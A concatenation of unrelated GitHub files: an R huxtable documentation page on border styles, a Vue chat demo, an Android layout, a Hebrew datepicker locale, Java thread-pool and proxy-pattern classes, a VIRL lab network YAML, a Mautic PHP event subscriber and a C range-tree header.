FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
| {
"pile_set_name": "Github"
} |
<!-- Generated by pkgdown: do not edit by hand -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Border styles — left_border_style • huxtable</title>
<!-- jquery -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
<!-- Bootstrap -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha256-916EbMg70RQy9LHiGkXzG8hSg9EdNy97GazNG/aiY1w=" crossorigin="anonymous" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha256-U5ZEeKfGNOja007MMD3YBI0A3OSZOQbeG6z2f2Y0hu8=" crossorigin="anonymous"></script>
<!-- Font Awesome icons -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" integrity="sha256-eZrrJcwDc/3uDhsdt61sL2oOBY362qM3lon1gyExkL0=" crossorigin="anonymous" />
<!-- clipboard.js -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.4/clipboard.min.js" integrity="sha256-FiZwavyI2V6+EXO1U+xzLG3IKldpiTFf3153ea9zikQ=" crossorigin="anonymous"></script>
<!-- sticky kit -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/sticky-kit/1.1.3/sticky-kit.min.js" integrity="sha256-c4Rlo1ZozqTPE2RLuvbusY3+SU1pQaJC0TjuhygMipw=" crossorigin="anonymous"></script>
<!-- pkgdown -->
<link href="../pkgdown.css" rel="stylesheet">
<script src="../pkgdown.js"></script>
<meta property="og:title" content="Border styles — left_border_style" />
<meta property="og:description" content="Functions to get or set the border styles property of huxtable cells." />
<meta name="twitter:card" content="summary" />
<!-- mathjax -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js" integrity="sha256-nvJJv9wWKEm88qvoQl9ekL2J+k/RWIsaSScxxlsrv8k=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js" integrity="sha256-84DKXVJXs0/F8OTMzX4UR909+jtl4G7SPypPavF+GfA=" crossorigin="anonymous"></script>
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container template-reference-topic">
<header>
<div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<span class="navbar-brand">
<a class="navbar-link" href="../index.html">huxtable</a>
<span class="version label label-default" data-toggle="tooltip" data-placement="bottom" title="Released version">4.7.1</span>
</span>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li>
<a href="../index.html">
<span class="fa fa-home"></span>
Home
</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">
Articles
<span class="caret"></span>
</a>
<ul class="dropdown-menu" role="menu">
<li>
<a href="../huxtable.html">Introduction to Huxtable</a>
</li>
<li>
<a href="../design-principles.html">Design Principles, Comparisons and Limitations</a>
</li>
<li>
<a href="../huxreg.html">Regression Tables with huxreg</a>
</li>
<li>
<a href="../themes.html">Huxtable Themes</a>
</li>
</ul>
</li>
<li>
<a href="../reference/index.html">Reference</a>
</li>
<li>
<a href="../news/index.html">News</a>
</li>
</ul>
<ul class="nav navbar-nav navbar-right">
</ul>
</div><!--/.nav-collapse -->
</div><!--/.container -->
</div><!--/.navbar -->
</header>
<div class="row">
<div class="col-md-9 contents">
<div class="page-header">
<h1>Border styles</h1>
<div class="hidden name"><code>left_border_style.Rd</code></div>
</div>
<div class="ref-description">
<p>Functions to get or set the <em>border styles</em> property of huxtable cells.</p>
</div>
<pre class="usage"><span class='fu'>left_border_style</span>(<span class='no'>ht</span>)
<span class='fu'>left_border_style</span>(<span class='no'>ht</span>) <span class='kw'><-</span> <span class='no'>value</span>
<span class='fu'>set_left_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>value</span>, <span class='kw'>byrow</span> <span class='kw'>=</span> <span class='fl'>FALSE</span>)
<span class='fu'>map_left_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>fn</span>)
<span class='fu'>right_border_style</span>(<span class='no'>ht</span>)
<span class='fu'>right_border_style</span>(<span class='no'>ht</span>) <span class='kw'><-</span> <span class='no'>value</span>
<span class='fu'>set_right_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>value</span>, <span class='kw'>byrow</span> <span class='kw'>=</span> <span class='fl'>FALSE</span>)
<span class='fu'>map_right_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>fn</span>)
<span class='fu'>top_border_style</span>(<span class='no'>ht</span>)
<span class='fu'>top_border_style</span>(<span class='no'>ht</span>) <span class='kw'><-</span> <span class='no'>value</span>
<span class='fu'>set_top_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>value</span>, <span class='kw'>byrow</span> <span class='kw'>=</span> <span class='fl'>FALSE</span>)
<span class='fu'>map_top_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>fn</span>)
<span class='fu'>bottom_border_style</span>(<span class='no'>ht</span>)
<span class='fu'>bottom_border_style</span>(<span class='no'>ht</span>) <span class='kw'><-</span> <span class='no'>value</span>
<span class='fu'>set_bottom_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>value</span>, <span class='kw'>byrow</span> <span class='kw'>=</span> <span class='fl'>FALSE</span>)
<span class='fu'>map_bottom_border_style</span>(<span class='no'>ht</span>, <span class='no'>row</span>, <span class='no'>col</span>, <span class='no'>fn</span>)</pre>
<h2 class="hasAnchor" id="arguments"><a class="anchor" href="#arguments"></a>Arguments</h2>
<table class="ref-arguments">
<colgroup><col class="name" /><col class="desc" /></colgroup>
<tr>
<th>ht</th>
<td><p>A huxtable.</p></td>
</tr>
<tr>
<th>value</th>
<td><p>A character vector or matrix of styles, which may be "solid", "double", "dashed" or "dotted".</p>
<p>Set to <code>NA</code> to reset to the default, which is <code>"solid"</code>.</p></td>
</tr>
<tr>
<th>row</th>
<td><p>A row specifier. See <a href='rowspecs.html'>rowspecs</a> for details.</p></td>
</tr>
<tr>
<th>col</th>
<td><p>An optional column specifier.</p></td>
</tr>
<tr>
<th>fn</th>
<td><p>A mapping function. See <a href='mapping-functions.html'>mapping-functions</a> for details.</p></td>
</tr>
<tr>
<th>byrow</th>
<td><p>Deprecated. Use <code><a href='by_rows.html'>by_cols()</a></code> instead.</p></td>
</tr>
</table>
<h2 class="hasAnchor" id="value"><a class="anchor" href="#value"></a>Value</h2>
<p>For <code>left_border_style</code>, the <code>left_border_style</code> property.
For <code>set_left_border_style</code> and <code>map_left_border_style</code>, the modified huxtable.</p>
<p>Similarly for the other functions.</p>
<h2 class="hasAnchor" id="details"><a class="anchor" href="#details"></a>Details</h2>
<p>Huxtable collapses borders and border colors. Right borders take priority over left borders, and
top borders take priority over bottom borders.</p>
<p>Border styles only apply if the border width is greater than 0.</p>
<h2 class="hasAnchor" id="quirks"><a class="anchor" href="#quirks"></a>Quirks</h2>
<ul>
<li><p>In HTML, you will need to set a width of at least 3 to get a double border.</p></li>
<li><p>Only "solid" and "double" styles are currently implemented in LaTeX.</p></li>
</ul>
<h2 class="hasAnchor" id="note"><a class="anchor" href="#note"></a>Note</h2>
<p>huxtable currently sets borders on specific cells. This can lead to surprising behaviour when
cells span multiple rows or columns: see the example. This behaviour may be improved in a future
release.</p>
<h2 class="hasAnchor" id="examples"><a class="anchor" href="#examples"></a>Examples</h2>
<pre class="examples"><div class='input'><span class='no'>ht</span> <span class='kw'><-</span> <span class='fu'><a href='huxtable.html'>huxtable</a></span>(<span class='kw'>a</span> <span class='kw'>=</span> <span class='fl'>1</span>:<span class='fl'>3</span>, <span class='kw'>b</span> <span class='kw'>=</span> <span class='fl'>3</span>:<span class='fl'>1</span>)
<span class='no'>ht</span> <span class='kw'><-</span> <span class='fu'><a href='set-multiple.html'>set_all_borders</a></span>(<span class='no'>ht</span>, <span class='fl'>1</span>)
<span class='fu'>set_left_border_style</span>(<span class='no'>ht</span>, <span class='st'>"double"</span>)</div><div class='output co'>#> ┌─────────┬─────────┐
#> │ 1 │ 3 │
#> ├─────────┼─────────┤
#> │ 2 │ 2 │
#> ├─────────┼─────────┤
#> │ 3 │ 1 │
#> └─────────┴─────────┘
#>
#> Column names: a, b</div><div class='input'><span class='fu'>set_left_border_style</span>(<span class='no'>ht</span>, <span class='fl'>1</span>:<span class='fl'>2</span>, <span class='fl'>1</span>,
<span class='st'>"double"</span>)</div><div class='output co'>#> ┌─────────┬─────────┐
#> │ 1 │ 3 │
#> ├─────────┼─────────┤
#> │ 2 │ 2 │
#> ├─────────┼─────────┤
#> │ 3 │ 1 │
#> └─────────┴─────────┘
#>
#> Column names: a, b</div><div class='input'>
<span class='co'># When cells span multiple rows:</span>
<span class='no'>ht</span> <span class='kw'><-</span> <span class='fu'><a href='huxtable.html'>tribble_hux</a></span>(
~<span class='no'>Col1</span>, ~<span class='no'>Col2</span>,
<span class='st'>"Cell 1,1 spans 2 rows"</span>, <span class='st'>"Cell 1,2"</span>,
<span class='st'>"Cell 2,1 is invisible"</span>, <span class='st'>"Cell 2,2"</span>
)
<span class='fu'><a href='rowspan.html'>rowspan</a></span>(<span class='no'>ht</span>)[<span class='fl'>1</span>, <span class='fl'>1</span>] <span class='kw'><-</span> <span class='fl'>2</span>
<span class='no'>ht</span></div><div class='output co'>#> Cell 1,1 spans 2 rows Cell 1,2
#> Cell 2,2
#>
#> Column names: Col1, Col2</div><div class='input'>
<span class='fu'><a href='left_border.html'>bottom_border</a></span>(<span class='no'>ht</span>)[<span class='fl'>2</span>, ] <span class='kw'><-</span> <span class='fl'>1</span>
<span class='fu'><a href='left_border_color.html'>bottom_border_color</a></span>(<span class='no'>ht</span>)[<span class='fl'>2</span>, ] <span class='kw'><-</span> <span class='st'>'red'</span>
<span class='co'># Cell 1, 1 does not have a border set:</span>
<span class='no'>ht</span></div><div class='output co'>#> Cell 1,1 spans 2 rows Cell 1,2
#> Cell 2,2
#> <span style='color: #BB0000;'>────────────</span><span>
#>
#> Column names: Col1, Col2</div><div class='input'>
<span class='co'># Fixed:</span>
<span class='fu'><a href='left_border.html'>bottom_border</a></span>(<span class='no'>ht</span>)[<span class='fl'>1</span>, <span class='fl'>1</span>] <span class='kw'><-</span> <span class='fl'>1</span>
<span class='fu'><a href='left_border_color.html'>bottom_border_color</a></span>(<span class='no'>ht</span>)[<span class='fl'>1</span>, <span class='fl'>1</span>] <span class='kw'><-</span> <span class='st'>'red'</span>
<span class='no'>ht</span></div><div class='output co'>#> Cell 1,1 spans 2 rows Cell 1,2
#> Cell 2,2
#> </span><span style='color: #BB0000;'>────────────────────────────────────</span><span>
#>
#> Column names: Col1, Col2</div></span></pre>
</div>
<div class="col-md-3 hidden-xs hidden-sm" id="sidebar">
<h2>Contents</h2>
<ul class="nav nav-pills nav-stacked">
<li><a href="#arguments">Arguments</a></li>
<li><a href="#value">Value</a></li>
<li><a href="#details">Details</a></li>
<li><a href="#quirks">Quirks</a></li>
<li><a href="#note">Note</a></li>
<li><a href="#examples">Examples</a></li>
</ul>
</div>
</div>
<footer>
<div class="copyright">
<p>Developed by David Hugh-Jones.</p>
</div>
<div class="pkgdown">
<p>Site built with <a href="https://pkgdown.r-lib.org/">pkgdown</a> 1.3.0.</p>
</div>
</footer>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
//主文件,对wxChat的用法做示例
<template>
<wxChat
:data="wxChatData"
:showShade="false"
contactNickname="简叔"
:getUpperData="getUpperData"
:getUnderData="getUnderData"
:ownerAvatarUrl="ownerAvatarUrl"
:contactAvatarUrl="contactAvatarUrl"
:width="width">
</wxChat>
</template>
<script>
import wxChat from './components/wxChat.vue'
export default {
name: 'app',
data () {
return {
upperTimes: 0,
underTimes: 0,
upperId: 0,
underId: 6,
width: window.screen.width,
ownerAvatarUrl: './src/assets/avatar1.png',
contactAvatarUrl: './src/assets/avatar2.png',
wxChatData: [{
direction: 2,
id: 1,
type: 1,
content: '你好!![呲牙]',
ctime: new Date().toLocaleString()
},
{
direction: 1,
id: 2,
type: 1,
content: '你也好。[害羞]',
ctime: new Date().toLocaleString()
},
{
direction: 2,
id: 3,
type: 1,
content: '这是我的简历头像:',
ctime: new Date().toLocaleString()
},
{
direction: 2,
id: 4,
type: 2,
content: './src/assets/wyz.jpg',
ctime: new Date().toLocaleString()
},
{
direction: 1,
id: 5,
type: 1,
content: '你开心就好。[微笑]',
ctime: new Date().toLocaleString()
}]
}
},
components:{wxChat},
created(){
this.initWidth();
},
methods:{
initWidth(){
var ua = navigator.userAgent;
var ipad = ua.match(/(iPad).*OS\s([\d_]+)/),
isIphone =!ipad && ua.match(/(iPhone\sOS)\s([\d_]+)/),
isAndroid = ua.match(/(Android)\s+([\d.]+)/),
isMobile = isIphone || isAndroid;
//非移动端设置400px宽度,移动端是100%
if(!isMobile){
this.width = 400
}
},
//向上滚动加载数据
getUpperData(){
var me = this;
// 这里为模拟异步加载数据
// 实际上你可能要这么写:
// return axios.get('xxx').then(function(result){
// return result; //result的格式需要类似下面resolve里面的数组
// })
return new Promise(function(resolve){
setTimeout(function(){
//模拟加载完毕
if(me.upperTimes>3){
return resolve([]);
}
//加载数据
resolve([{
direction: 2,
id: me.upperId-1,
type: 1,
content: '向上滚动加载第 ' + me.upperTimes +' 条!',
ctime: new Date().toLocaleString()
},
{
direction: 1,
id: me.upperId-2,
type: 1,
content: '向上滚动加载第 ' + me.upperTimes +' 条!',
ctime: new Date().toLocaleString()
}]
)
}, 1000);
me.upperId= me.upperId+2;
me.upperTimes++;
})
},
getUnderData(){
var me = this;
//意义同getUpperData()
return new Promise(function(resolve){
setTimeout(function(){
//模拟加载完毕
if(me.underTimes>3){
return resolve([]);
}
//加载数据
resolve(
[{
direction: 1,
id: me.underId+1,
type: 1,
content: '向下滚动加载第 ' + me.underTimes +' 条!',
ctime: new Date().toLocaleString()
},
{
direction: 2,
id: me.underId+2,
type: 1,
content: '向下滚动加载第 ' + me.underTimes +' 条!',
ctime: new Date().toLocaleString()
}]
)
}, 1000);
me.underId = me.underId+2;
me.underTimes++;
})
}
}
}
</script>
<style>
*{
margin: 0;
padding: 0;
}
#app {
font-family: 'Avenir', Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
margin-top: 60px;
}
h1, h2 {
font-weight: normal;
}
ul {
list-style-type: none;
padding: 0;
}
li {
display: inline-block;
}
</style>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context="com.sample.crashreport.TestCrashActivity">
<Button
android:id="@+id/catchCrashBut"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Catch Crash" />
<Button
android:id="@+id/makeCrashBut"
android:layout_below="@+id/catchCrashBut"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Make Crash" />
</RelativeLayout>
| {
"pile_set_name": "Github"
} |
/**
* Hebrew translation for bootstrap-datepicker
* Sagie Maoz <[email protected]>
*/
;(function($){
$.fn.datepicker.dates['he'] = {
days: ["ראשון", "שני", "שלישי", "רביעי", "חמישי", "שישי", "שבת", "ראשון"],
daysShort: ["א", "ב", "ג", "ד", "ה", "ו", "ש", "א"],
daysMin: ["א", "ב", "ג", "ד", "ה", "ו", "ש", "א"],
months: ["ינואר", "פברואר", "מרץ", "אפריל", "מאי", "יוני", "יולי", "אוגוסט", "ספטמבר", "אוקטובר", "נובמבר", "דצמבר"],
monthsShort: ["ינו", "פבר", "מרץ", "אפר", "מאי", "יונ", "יול", "אוג", "ספט", "אוק", "נוב", "דצמ"],
today: "היום",
rtl: true
};
}(jQuery));
| {
"pile_set_name": "Github"
} |
package org.frameworkset.elasticsearch.scroll.thread;
/**
* Copyright 2008 biaoping.yin
* <p>
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICENSE-2.0
* <p>
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicInteger;
/**
* <p>Description: </p>
* <p></p>
* <p>Copyright (c) 2018</p>
* @Date 2018/9/4 15:42
* @author biaoping.yin
* @version 1.0
*/
public class ThreadPoolFactory {
public static ExecutorService buildSliceScrollThreadPool(int sliceScrollThreadCount,int sliceScrollThreadQueue,long sliceScrollBlockedWaitTimeout){
// ExecutorService executor = Executors.newFixedThreadPool(this.getThreadCount(), new ThreadFactory() {
// @Override
// public Thread newThread(Runnable r) {
// return new DBESThread(r);
// }
// });
ExecutorService blockedExecutor = new ThreadPoolExecutor(sliceScrollThreadCount, sliceScrollThreadCount,
0L, TimeUnit.MILLISECONDS,
new ArrayBlockingQueue<Runnable>(sliceScrollThreadQueue),
new ThreadFactory() {
private java.util.concurrent.atomic.AtomicInteger threadCount = new AtomicInteger(0);
@Override
public Thread newThread(Runnable r) {
int num = threadCount.incrementAndGet();
return new ESSliceScrollThread(r,num);
}
},new BlockedTaskRejectedExecutionHandler("Slice Scroll Query", sliceScrollBlockedWaitTimeout));
return blockedExecutor;
}
public static ExecutorService buildScrollThreadPool(int scrollThreadCount,int scrollThreadQueue,long scrollBlockedWaitTimeout){
// ExecutorService executor = Executors.newFixedThreadPool(this.getThreadCount(), new ThreadFactory() {
// @Override
// public Thread newThread(Runnable r) {
// return new DBESThread(r);
// }
// });
ExecutorService blockedExecutor = new ThreadPoolExecutor(scrollThreadCount, scrollThreadCount,
0L, TimeUnit.MILLISECONDS,
new ArrayBlockingQueue<Runnable>(scrollThreadQueue),
new ThreadFactory() {
private AtomicInteger threadCount = new AtomicInteger(0);
@Override
public Thread newThread(Runnable r) {
int num = threadCount.incrementAndGet();
return new ESScrollThread(r,num);
}
},new BlockedTaskRejectedExecutionHandler( "Scroll Query", scrollBlockedWaitTimeout));
return blockedExecutor;
}
}
| {
"pile_set_name": "Github"
} |
#
# Fabric definition
#
---
common:
username: cisco
password: cisco
os: ios
domain: virl.info
nodes:
- name: E1
mgmt: 172.16.1.110
rid: 192.168.0.2
- name: E2
mgmt: 172.16.1.111
rid: 192.168.0.4
- name: E3
mgmt: 172.16.1.120
rid: 192.168.0.5
- name: E4
mgmt: 172.16.1.121
rid: 192.168.0.6
- name: PE1
mgmt: 172.16.1.112
rid: 192.168.0.1
- name: PE2
mgmt: 172.16.1.122
rid: 192.168.0.3
fabric:
- {left: E1, left_ip: 10.0.0.21, left_port: GigabitEthernet0/2,
right: E2, right_ip: 10.0.0.22, right_port: GigabitEthernet0/2,
cost: 5 }
- {left: E1, left_ip: 10.0.0.13, left_port: GigabitEthernet0/1,
right: PE1, right_ip: 10.0.0.14, right_port: GigabitEthernet0/1,
cost: 10 }
- {left: E2, left_ip: 10.0.0.17, left_port: GigabitEthernet0/1,
right: PE1, right_ip: 10.0.0.18, right_port: GigabitEthernet0/2,
cost: 1 }
- {left: E3, left_ip: 10.0.0.41, left_port: GigabitEthernet0/2,
right: E4, right_ip: 10.0.0.42, right_port: GigabitEthernet0/2 }
- {left: E3, left_ip: 10.0.0.29, left_port: GigabitEthernet0/3,
right: PE2, right_ip: 10.0.0.30, right_port: GigabitEthernet0/1 }
- {left: E4, left_ip: 10.0.0.37, left_port: GigabitEthernet0/3,
right: PE2, right_ip: 10.0.0.38, right_port: GigabitEthernet0/2 }
- {left: E1, left_ip: 10.0.0.25, left_port: GigabitEthernet0/3,
right: E3, right_ip: 10.0.0.26, right_port: GigabitEthernet0/1}
- {left: E2, left_ip: 10.0.0.33, left_port: GigabitEthernet0/3,
right: E4, right_ip: 10.0.0.34, right_port: GigabitEthernet0/1}
| {
"pile_set_name": "Github"
} |
<?php
declare(strict_types=1);
/*
* @copyright 2018 Mautic Inc. All rights reserved
* @author Mautic, Inc.
*
* @link https://www.mautic.com
*
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
namespace Mautic\IntegrationsBundle\EventListener;
use Mautic\IntegrationsBundle\Entity\FieldChange;
use Mautic\IntegrationsBundle\Entity\FieldChangeRepository;
use Mautic\IntegrationsBundle\Entity\ObjectMappingRepository;
use Mautic\IntegrationsBundle\Exception\IntegrationNotFoundException;
use Mautic\IntegrationsBundle\Helper\SyncIntegrationsHelper;
use Mautic\IntegrationsBundle\Sync\Exception\ObjectNotFoundException;
use Mautic\IntegrationsBundle\Sync\SyncDataExchange\Internal\Object\Contact;
use Mautic\IntegrationsBundle\Sync\SyncDataExchange\MauticSyncDataExchange;
use Mautic\IntegrationsBundle\Sync\VariableExpresser\VariableExpresserHelperInterface;
use Mautic\LeadBundle\Entity\Company;
use Mautic\LeadBundle\Entity\Lead;
use Mautic\LeadBundle\Event as Events;
use Mautic\LeadBundle\LeadEvents;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
class LeadSubscriber implements EventSubscriberInterface
{
/**
* @var FieldChangeRepository
*/
private $fieldChangeRepo;
/**
* @var ObjectMappingRepository
*/
private $objectMappingRepository;
/**
* @var VariableExpresserHelperInterface
*/
private $variableExpressor;
/**
* @var SyncIntegrationsHelper
*/
private $syncIntegrationsHelper;
public function __construct(
FieldChangeRepository $fieldChangeRepo,
ObjectMappingRepository $objectMappingRepository,
VariableExpresserHelperInterface $variableExpressor,
SyncIntegrationsHelper $syncIntegrationsHelper
) {
$this->fieldChangeRepo = $fieldChangeRepo;
$this->objectMappingRepository = $objectMappingRepository;
$this->variableExpressor = $variableExpressor;
$this->syncIntegrationsHelper = $syncIntegrationsHelper;
}
public static function getSubscribedEvents(): array
{
return [
LeadEvents::LEAD_POST_SAVE => ['onLeadPostSave', 0],
LeadEvents::LEAD_POST_DELETE => ['onLeadPostDelete', 255],
LeadEvents::COMPANY_POST_SAVE => ['onCompanyPostSave', 0],
LeadEvents::COMPANY_POST_DELETE => ['onCompanyPostDelete', 255],
LeadEvents::LEAD_COMPANY_CHANGE => ['onLeadCompanyChange', 128],
];
}
/**
* @throws IntegrationNotFoundException
* @throws ObjectNotFoundException
*/
public function onLeadPostSave(Events\LeadEvent $event): void
{
$lead = $event->getLead();
if ($lead->isAnonymous()) {
// Do not track visitor changes
return;
}
if (defined('MAUTIC_INTEGRATION_SYNC_IN_PROGRESS')) {
// Don't track changes just made by an active sync
return;
}
if (!$this->syncIntegrationsHelper->hasObjectSyncEnabled(Contact::NAME)) {
// Only track if an integration is syncing with contacts
return;
}
$changes = $lead->getChanges(true);
if (!empty($changes['owner'])) {
// Force record of owner change if present in changelist
$changes['fields']['owner_id'] = $changes['owner'];
}
if (!empty($changes['points'])) {
// Add ability to update points custom field in target
$changes['fields']['points'] = $changes['points'];
}
if (isset($changes['fields'])) {
$this->recordFieldChanges($changes['fields'], $lead->getId(), Lead::class);
}
if (isset($changes['dnc_channel_status'])) {
$dncChanges = [];
foreach ($changes['dnc_channel_status'] as $channel => $change) {
$oldValue = $change['old_reason'] ?? '';
$newValue = $change['reason'];
$dncChanges['mautic_internal_dnc_'.$channel] = [$oldValue, $newValue];
}
$this->recordFieldChanges($dncChanges, $lead->getId(), Lead::class);
}
}
public function onLeadPostDelete(Events\LeadEvent $event): void
{
$this->fieldChangeRepo->deleteEntitiesForObject((int) $event->getLead()->deletedId, MauticSyncDataExchange::OBJECT_CONTACT);
$this->objectMappingRepository->deleteEntitiesForObject((int) $event->getLead()->deletedId, MauticSyncDataExchange::OBJECT_CONTACT);
}
/**
* @throws IntegrationNotFoundException
* @throws ObjectNotFoundException
*/
public function onCompanyPostSave(Events\CompanyEvent $event): void
{
if (defined('MAUTIC_INTEGRATION_SYNC_IN_PROGRESS')) {
// Don't track changes just made by an active sync
return;
}
if (!$this->syncIntegrationsHelper->hasObjectSyncEnabled(MauticSyncDataExchange::OBJECT_COMPANY)) {
// Only track if an integration is syncing with companies
return;
}
$company = $event->getCompany();
$changes = $company->getChanges(true);
if (!empty($changes['owner'])) {
// Force record of owner change if present in changelist
$changes['fields']['owner_id'] = $changes['owner'];
}
if (!isset($changes['fields'])) {
return;
}
$this->recordFieldChanges($changes['fields'], $company->getId(), Company::class);
}
public function onCompanyPostDelete(Events\CompanyEvent $event): void
{
$this->fieldChangeRepo->deleteEntitiesForObject((int) $event->getCompany()->deletedId, MauticSyncDataExchange::OBJECT_COMPANY);
$this->objectMappingRepository->deleteEntitiesForObject((int) $event->getCompany()->deletedId, MauticSyncDataExchange::OBJECT_COMPANY);
}
public function onLeadCompanyChange(Events\LeadChangeCompanyEvent $event): void
{
$lead = $event->getLead();
// This mechanism is not able to record multiple company changes.
$changes['company'] = [
0 => '',
1 => $lead->getCompany(),
];
$this->recordFieldChanges($changes, $lead->getId(), Lead::class);
}
/**
* @param int $objectId
*
* @throws IntegrationNotFoundException
*/
private function recordFieldChanges(array $fieldChanges, $objectId, string $objectType): void
{
$toPersist = [];
$changedFields = [];
$objectId = (int) $objectId;
foreach ($fieldChanges as $key => [$oldValue, $newValue]) {
$valueDAO = $this->variableExpressor->encodeVariable($newValue);
$changedFields[] = $key;
$fieldChangeEntity = (new FieldChange())
->setObjectType($objectType)
->setObjectId($objectId)
->setModifiedAt(new \DateTime())
->setColumnName($key)
->setColumnType($valueDAO->getType())
->setColumnValue($valueDAO->getValue());
foreach ($this->syncIntegrationsHelper->getEnabledIntegrations() as $integrationName) {
$integrationFieldChangeEntity = clone $fieldChangeEntity;
$integrationFieldChangeEntity->setIntegration($integrationName);
$toPersist[] = $integrationFieldChangeEntity;
}
}
$this->fieldChangeRepo->deleteEntitiesForObjectByColumnName($objectId, $objectType, $changedFields);
$this->fieldChangeRepo->saveEntities($toPersist);
$this->fieldChangeRepo->clear();
}
}
| {
"pile_set_name": "Github"
} |
package com.javacodegeeks.patterns.proxypattern.protectionproxy;
public class Employee implements Staff {
private ReportGeneratorProxy reportGenerator;
@Override
public void setReportGenerator(ReportGeneratorProxy reportGenerator){
this.reportGenerator = reportGenerator;
}
@Override
public boolean isOwner() {
return false;
}
public String generateDailyReport(){
try {
return reportGenerator.generateDailyReport();
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2016, Campbell Barton.
*
* Licensed under the Apache License, Version 2.0 (the "Apache License")
* with the following modification; you may not use this file except in
* compliance with the Apache License and the following modification to it:
* Section 6. Trademarks. is deleted and replaced with:
*
* 6. Trademarks. This License does not grant permission to use the trade
* names, trademarks, service marks, or product names of the Licensor
* and its affiliates, except as required to comply with Section 4(c) of
* the License and to reproduce the content of the NOTICE file.
*
* You may obtain a copy of the Apache License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the Apache License with the above modification is
* distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the Apache License for the specific
* language governing permissions and limitations under the Apache License.
*/
#ifndef __RANGE_TREE_H__
#define __RANGE_TREE_H__
#ifdef __cplusplus
extern "C" {
#endif
typedef struct RangeTreeUInt RangeTreeUInt;
struct RangeTreeUInt *range_tree_uint_alloc(unsigned int min, unsigned int max);
void range_tree_uint_free(struct RangeTreeUInt *rt);
struct RangeTreeUInt *range_tree_uint_copy(const struct RangeTreeUInt *rt_src);
bool range_tree_uint_has(struct RangeTreeUInt *rt, const unsigned int value);
void range_tree_uint_take(struct RangeTreeUInt *rt, const unsigned int value);
bool range_tree_uint_retake(struct RangeTreeUInt *rt, const unsigned int value);
unsigned int range_tree_uint_take_any(struct RangeTreeUInt *rt);
void range_tree_uint_release(struct RangeTreeUInt *rt, const unsigned int value);
#ifdef __cplusplus
}
#endif
#endif /* __RANGE_TREE_H__ */
| {
